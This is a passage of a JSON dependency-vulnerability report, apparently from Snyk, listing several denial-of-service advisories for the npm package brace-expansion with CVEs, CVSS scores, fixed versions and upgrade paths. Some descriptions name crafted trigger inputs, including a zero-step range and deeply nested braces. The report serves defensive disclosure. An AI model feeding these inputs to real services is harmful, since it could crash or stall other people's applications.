"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
